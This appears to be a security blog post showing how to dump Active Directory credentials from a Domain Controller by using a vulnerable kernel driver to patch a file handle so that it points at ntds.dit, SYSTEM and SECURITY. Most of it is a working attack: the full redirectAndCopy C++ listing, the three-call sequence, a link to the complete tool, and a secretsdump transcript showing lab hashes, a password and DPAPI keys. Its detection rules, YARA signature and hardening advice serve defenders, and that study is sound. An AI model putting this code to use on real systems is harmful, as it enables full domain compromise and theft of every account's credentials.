


Executive Summary
S12 (0x12Dark Development) extends File Handle Redirection from the local SAM hive to a live Domain Controller. The primitive is the same: a BYOVD kernel read/write patches _HANDLE_TABLE_ENTRY.LowQword so a File handle opened on notepad.exe now points at someone else’s _FILE_OBJECT. Three redirects copy SYSTEM, ntds.dit, and SECURITY to C:\Users\Public\. Offline secretsdump.py … LOCAL yields every domain hash, LSA secrets, and the machine account. No OpenProcess(lsass), no MiniDump, no VSS, no CreateFile on the hive. The sharing violation never happens because you never asked for a new handle to NTDS.
This draft keeps the original screenshots, the three-call sequence, the full redirectAndCopy listing, and the lab secretsdump transcript, then adds the kitchen picture of a rewired hotel key, why Direct I/O needs OVERLAPPED + 4K alignment, how getFileObjectByName finds the object via NtQuerySystemInformation without opening the file, and detections that still fire when LSASS hunts stay quiet.
The same handle table primitive that extracted local SAM hashes scales directly to full domain compromise on a live Domain Controller, three redirections, three copies, one offline secretsdump call.
S12, 13 September 2026
Introduction
The previous post patched LowQword so a File handle read SAM. This post aims the same primitive at a DC. Three files the AD stack holds open:
C:\Windows\NTDS\ntds.dit— Active Directory database, hashes for every domain accountC:\Windows\System32\config\SYSTEM— SYSKEY to decrypt ntds.ditC:\Windows\System32\config\SECURITY— LSA Secrets, cached domain credentials, machine account hashes
All three are locked by the kernel and inaccessible via standard file APIs.

Why ntds.dit Is Hard to Access
lsass hosts the NTDS service and holds ntds.dit exclusive. CreateFile from another process, even SYSTEM, returns ERROR_SHARING_VIOLATION. Classic workarounds: Volume Shadow Copy (snapshot, then copy), ntdsutil ifm, stopping the service (outage). All leave Event Log and EDR stories: VSS creation, ntdsutil, unexpected service stop.
Handle redirect never creates a handle to NTDS. It takes a handle you already own to an innocuous file and patches the kernel object pointer to NTDS’s _FILE_OBJECT. Subsequent ReadFile is I/O on that object. The lock is on “new opens,” not on “someone who already has a kernel pointer.”
Methodology

Full flow for each target file:
- Open victim File handle (notepad.exe)
- Walk own handle table: EPROCESS → ObjectTable → TableCode → entryAddress
- Using getFileObjectByName(drv, target) get the _FILE_OBJECT of the target file
- Encode new LowQword pointing at the new target
- Write the new token
- Read and copy through the same handle
- When all three files are on disk, dump domain hashes offline
Three calls cover the full DC credential set:
redirectAndCopy(drv, hVictim, entryAddress, lowQword,
L"C:\\Windows\\System32\\config\\SYSTEM",
L"C:\\Users\\Public\\SYSTEM.bak");
ReadPrimitive(drv, &lowQword, entryAddress, sizeof(DWORD64));
redirectAndCopy(drv, hVictim, entryAddress, lowQword,
L"C:\\Windows\\NTDS\\ntds.dit",
L"C:\\Users\\Public\\ntds.dit");
ReadPrimitive(drv, &lowQword, entryAddress, sizeof(DWORD64));
redirectAndCopy(drv, hVictim, entryAddress, lowQword,
L"C:\\Windows\\System32\\config\\SECURITY",
L"C:\\Users\\Public\\SECURITY.bak");
Each ReadPrimitive between copies reloads the original LowQword so the next encode starts from a clean notepad entry, not a leftover NTDS pointer.
How getFileObjectByName finds NTDS without opening it
The helper (DumpNTDS/GetFileObjects.h on GitHub) does not call CreateFile on ntds.dit. It:
- Opens a reference file (notepad) to learn the current File ObjectTypeIndex from the caller’s own handle in the snapshot.
- Calls NtQuerySystemInformation(SystemHandleInformation = 0x10), growing the buffer on STATUS_INFO_LENGTH_MISMATCH.
- Walks every File-typed handle in the system, kernel-reads FILE_OBJECT.FileName Length at +0x58 and Buffer at +0x60 (x64 Win10/11), and compares the UNICODE_STRING to the target path.
- Returns the Object pointer from the handle table entry — the _FILE_OBJECT* you will encode into LowQword.
That is why you can “find SAM/NTDS” while CreateFile on those paths still fails. You are reading other processes’ (including PID 4) already-open objects.
Implementation: redirectAndCopy
The core function is the full patch → read → restore cycle for one target:
BOOL redirectAndCopy(HANDLE drv, HANDLE hVictim, DWORD64 entryAddress, DWORD64 lowQword, const wchar_t* targetPath, const wchar_t* destPath) {
// 1. Get _FILE_OBJECT* of target
DWORD64 fileObj = getFileObjectByName(drv, targetPath);
if (fileObj == 0) { printf("[-] getFileObjectByName failed for %ws\n", targetPath); return FALSE; }
printf("[+] FILE_OBJECT: %llX\n", fileObj);
// 2. Encode new LowQword
DWORD64 fileObjectHeader = fileObj - 0x30;
DWORD64 metadataBits = lowQword & 0xFFFFFULL;
DWORD64 objectPointerBits = (fileObjectHeader >> 4) & 0xFFFFFFFFFFFULL;
DWORD64 newLowQword = (objectPointerBits << 20) | metadataBits;
printf("[+] Original lowQword: %llX\n", lowQword);
printf("[+] New lowQword: %llX\n", newLowQword);
// 3. Patch, LowQword only, no HighQword touch
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword, sizeof(DWORD64));
printf("[+] LowQword patched\n");
// 4. Verify
wchar_t resolvedPath[MAX_PATH] = {};
DWORD len = GetFinalPathNameByHandleW(hVictim, resolvedPath, MAX_PATH, VOLUME_NAME_DOS);
if (len > 0) wprintf(L"[+] Handle resolves to: %s\n", resolvedPath);
else printf("[-] GetFinalPathNameByHandleW failed: %d\n", GetLastError());
// 5. Copy via OVERLAPPED reads (aligned buffer for Direct I/O)
HANDLE hDest = CreateFileW(destPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDest == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dest: %d\n", GetLastError());
// Restore before returning
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));
return FALSE;
}
const DWORD SECTOR = 4096;
const DWORD CHUNK = SECTOR * 16;
BYTE* chunk = (BYTE*)VirtualAlloc(NULL, CHUNK, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!chunk) { CloseHandle(hDest); return FALSE; }
DWORD64 offset = 0;
DWORD totalWritten = 0;
while (TRUE) {
OVERLAPPED ov = {};
ov.Offset = (DWORD)(offset & 0xFFFFFFFF);
ov.OffsetHigh = (DWORD)(offset >> 32);
ov.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
DWORD bytesRead = 0;
BOOL readOk = ReadFile(hVictim, chunk, CHUNK, NULL, &ov);
DWORD err = GetLastError();
if (!readOk && err == ERROR_IO_PENDING) {
if (WaitForSingleObject(ov.hEvent, 10000) == WAIT_TIMEOUT) {
printf("[-] Timeout at offset 0x%llX\n", offset);
CloseHandle(ov.hEvent);
break;
}
readOk = GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE);
err = GetLastError();
}
else if (readOk) {
GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE);
err = GetLastError();
}
CloseHandle(ov.hEvent);
if (!readOk || bytesRead == 0) {
printf("[*] EOF at offset 0x%llX | err: %d\n", offset, err);
break;
}
DWORD written = 0;
WriteFile(hDest, chunk, bytesRead, &written, NULL);
totalWritten += written;
offset += bytesRead;
printf("[+] %ws: offset 0x%llX | chunk %d | total %d\r", destPath, offset, bytesRead, totalWritten);
if (bytesRead < CHUNK) break;
}
VirtualFree(chunk, 0, MEM_RELEASE);
CloseHandle(hDest);
printf("\n[+] Done: %ws = %d bytes\n", destPath, totalWritten);
// 6. Restore original LowQword
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword, sizeof(DWORD64));
printf("[+] LowQword restored\n");
return totalWritten > 0;
}
- Header vs object:
fileObj - 0x30is the OBJECT_HEADER; the handle table stores a shifted pointer to the header, not the FILE_OBJECT body. - Metadata bits: low 20 bits of LowQword kept (
& 0xFFFFF); upper bits become the new object pointer (>> 4then<< 20). HighQword is not touched. - Verify: GetFinalPathNameByHandleW after the patch should print the NTDS/SYSTEM/SECURITY path. That API is also the defender’s best user-mode IOC.
- Direct I/O: the hive’s FILE_OBJECT is often FO_NO_INTERMEDIATE_BUFFERING. Unaligned ReadFile fails. 4096-byte sector, 64KiB chunks, OVERLAPPED, VirtualAlloc page-aligned buffer.
- Restore: always write original LowQword back, including on CreateFile dest failure. A handle left pointing at NTDS after the process exits is a crash and a forensic gift.
Full project: https://github.com/S12cybersecurity/HandleRedirect/tree/main/DumpNTDS (DumpNTDS.cpp, DrvOps.h, GetOffsets.h, GetFileObjects.h).
Proof of Concept

Then the files are on disk:

Offline dump with Impacket (lab transcript from the original post):
salsa@salsa:~/0x12DarkDevelopment/Maldev/AD/elpapadelospapas$ python3 secretsdump.py -ntds ntds.dit -system SYSTEM.bak -security SECURITY.bak LOCAL
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xb9af5a16824ac3494f8b507ffa421911
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
LAB\DC01$:aes256-cts-hmac-sha1-96:6301ede772a3e667f85945074d0d4e8d19d9ffe813f8d34b05d204b7c8d13b43
LAB\DC01$:aes128-cts-hmac-sha1-96:4cf6dd9f44f93fe356d685ca2200b902
LAB\DC01$:des-cbc-md5:3198d56b2f081a5e
LAB\DC01$:plain_password_hex:0374ff4ce6bb78605bd6af7ee1ab4e0db03c51d204f39aa35e25420db3e007e733d404366a10ca7ea27466cde2e24e17887f6ada730ad48c698dd38b2f42d6ce6264dd833c9fb78805aa378403c9a9fc20994d132d4d2310ff257d5db2a855fcb602ae59332e25080ec2d3d196e4d9e94b8f666071023a38ca7d35d74aa21fc98040a88cf159a10c422da42d09b204a205958659466c342c506435f60f464d607c4d467ff7ba8dcb49917e6f91dcd7ab766261b5feb84bf35e6c357c623742dabc5336d45d393efeb5ed40e2efb36ef9625c83a3512b3928ef22ab2de42072b2893a4fb5a322ee99e71998845a162a85
LAB\DC01$:aad3b435b51404eeaad3b435b51404ee:5b07777458013a4c8c1569963f730dae:::
[*] DefaultPassword
(Unknown User):Lab@123456!
[*] DPAPI_SYSTEM
dpapi_machinekey:0x18bcd69831c0484548d43ffbc557625127c0e51e
dpapi_userkey:0x84fbc3f7f78a534081a278e7d4b0dcb35eede1ba
[*] NL$KM
0000 5A 96 75 71 BA 8C 78 3E 9E F4 66 4D 07 A0 72 61 Z.uq..x>..fM..ra
0010 D7 12 0B 81 F7 2B 88 87 1F 11 C3 4D 72 D8 AD E9 .....+.....Mr...
0020 BE 78 2C FA E9 0D 76 73 66 08 F3 50 E7 A4 FC 61 .x,...vsf..P...a
0030 6C B6 66 81 38 0B 19 C0 AD 38 D1 BF E9 56 49 C0 l.f.8....8...VI.
NL$KM:5a967571ba8c783e9ef4664d07a07261d7120b81f72b88871f11c34d72d8ade9be782cfae90d76736608f350e7a4fc616cb66681380b19c0ad38d1bfe95649c0
[-] NTDSHashes.__init__() got an unexpected keyword argument 'trustKeys'
[*] Cleaning up...
secretsdump.py: fortra/impacket. The lab output shows bootKey, $MACHINE.ACC, DefaultPassword Lab@123456!, DPAPI_SYSTEM, NL$KM. The NTDS hash dump itself errored in that run (unexpected keyword argument 'trustKeys') — still enough LSA material to illustrate the path. A current Impacket on the same three files completes the NTDS hash list.
ATT&CK Mapping
| ID | Name | This technique |
|---|---|---|
| T1003.003 | OS Credential Dumping: NTDS | Copy ntds.dit without VSS |
| T1003.004 | LSA Secrets | SECURITY hive |
| T1003.002 | Security Account Manager | not used here; previous post |
| T1003.001 | LSASS Memory | explicitly avoided |
| T1547.006 | Kernel Modules and Extensions | vulnerable driver load |
| T1068 | Exploitation for Privilege Escalation | IOCTL arbitrary R/W |
| T1078 | Valid Accounts | hashes / machine account after dump |
What Still Gets You Caught
- Path mismatch: handle opened on notepad.exe, GetFinalPathNameByHandle / minifilter sees NTDS. The previous SAM post called this the primary behavioral IOC. It still is.
- Driver load: GIO / loldrivers image-load. HVCI + Microsoft blocklist is the cheap prevent.
- NtQuerySystemInformation(0x10) from a non-diagnostic process enumerating every File handle on the DC.
- Writes under Public: ntds.dit / SYSTEM.bak / SECURITY.bak created by a random EXE.
- No VSS, no lsass handle: absence of the usual T1003.001/002 story is not “clean”; it is a reason to hunt the mismatch.
- secretsdump / mimikatz offline on a workstation that just received three large files from a DC.
Related YARA from the SAM post (author: 0x12 Dark Development) still fingerprints the handle-table math:
rule FileHandleRedirect_CredDump
{
meta:
author = "0x12 Dark Development"
description = "Detects binaries implementing File handle redirect for credential access"
reference = "https://0x12darkdev.net"
severity = "critical"
strings:
$tableCode_mask = { 48 83 E? F8 } // tableCode & ~0x3
$entry_calc = { C1 E? 02 6B ?? 10 } // (handle/4)*16
$fname_off1 = { 66 8B 4? 58 } // Length at +0x58
$fname_off2 = { 48 8B 4? 60 } // Buffer at +0x60
condition:
uint16(0) == 0x5A4D and 3 of them
}
LowQword Encoding, Without Hand-Waving
A 64-bit handle-table entry on modern Windows is not a raw pointer. The object header address is shifted and mixed with lock/ref metadata in the low bits. S12 keeps the low 20 bits of the original entry (access/lock state for that handle) and splices in (header >> 4) in the upper portion. Subtracting 0x30 from the FILE_OBJECT body lands on OBJECT_HEADER, which is what the table is defined to store. If you write the FILE_OBJECT address unshifted, ObpReferenceObjectByHandle walks off into space and the box bugchecks. That is why restore is not optional: a process exit with a forged entry can take the object manager with it.
Compared with the Usual NTDS Theft Menu
| Method | Touches lsass? | New handle to hive? | Typical telemetry |
|---|---|---|---|
| MiniDump / comsvcs | yes | no (memory) | Sysmon 10, 4688 rundll32 |
| VSS + copy | no | yes, on snapshot | VSS events, ntds.dit from VolumeShadowCopy |
| ntdsutil ifm | indirect | yes | 4688 ntdsutil, IFM folder |
| DCSync | no (RPC) | no | 4662 replication rights |
| Handle redirect (this) | no | no (stolen object) | path mismatch, driver load, Public\ntds.dit |
DCSync is still quieter on a workstation that already has Replicating Directory Changes. This technique is louder than DCSync if you have those rights, and quieter than VSS if you only have a kernel write on the DC itself. Pick the primitive that matches the access you already burned. Do not load GIO on a DC because a blog post exists.
What We Added
- Kitchen key-fob / vault picture and the three-ledger idea from the PID-mutation cousin (different lie: identity vs object pointer).
- getFileObjectByName walk: type index, NtQuerySystemInformation 0x10, FileName at +0x58/+0x60.
- Why Direct I/O and OVERLAPPED are required on hive FILE_OBJECTs.
- Comparison table vs MiniDump, VSS, ntdsutil, DCSync.
- YARA from the SAM post, still valid for the NTDS variant.
- KRBTGT rotation reminder after a suspected copy.
Key Takeaways
- Same primitive as SAM dump: steal a File handle’s kernel object, do not open the hive.
- Three files: SYSTEM (SYSKEY), ntds.dit (hashes), SECURITY (LSA). Order in the listing restores LowQword between copies.
- ERROR_SHARING_VIOLATION is a CreateFile problem. A borrowed FILE_OBJECT does not CreateFile.
- Direct I/O + OVERLAPPED + 4K alignment is load-bearing, not style.
- Restore LowQword or you crash and leave a smoking handle.
- EDR that only watches lsass and VSS will narrate a quiet night. Hunt path mismatch and driver loads.
- Lab DC only. Kernel write on a DC is already the domain.
Defensive Recommendations
- HVCI + vulnerable driver blocklist on every DC. GIO should never load.
- Alert on image-load of loldrivers hashes on DCs (high severity, no exception for “update tools”).
- Minifilter or Sysmon: File handle whose create path ≠ IRP path, especially when IRP path is NTDS|SAM|SECURITY.
- Sysmon 11 / 23: ntds.dit or *.bak under Users\Public, Temp, or non-NTDS directories.
- Watch NtQuerySystemInformation class 16 from unsigned or unusual publishers on DCs.
- Credential Guard / HVCI does not stop a kernel write to your handle table. Isolation of the DC’s ability to load 3rd-party .sys is the control.
- After suspected copy: assume KRBTGT and all hashes burned. Rotate KRBTGT twice, reset machine passwords, review LSA DefaultPassword.
- Do not run this PoC on a production DC. Snapshot lab, HVCI-off only if you are studying the primitive.
Conclusions
The handle-table primitive that read local SAM scales to a live DC: three redirections, three copies, one secretsdump. No lsass, no VSS, no registry API. Windows still knows which FILE_OBJECT belongs to NTDS. Your process’s handle table briefly pretends otherwise. Sysmon that never looks at that lie will write a novel about notepad.exe reading a 50 MB file. The remaining detector is the same as the SAM post: the path at open versus the path at I/O, plus the driver that made the pointer writable.
Original text: “Domain Credential Dumping via File Handle Redirection” by S12 – 0x12Dark Development at Medium. Prior technique: SAM hive redirect. Code: DumpNTDS.


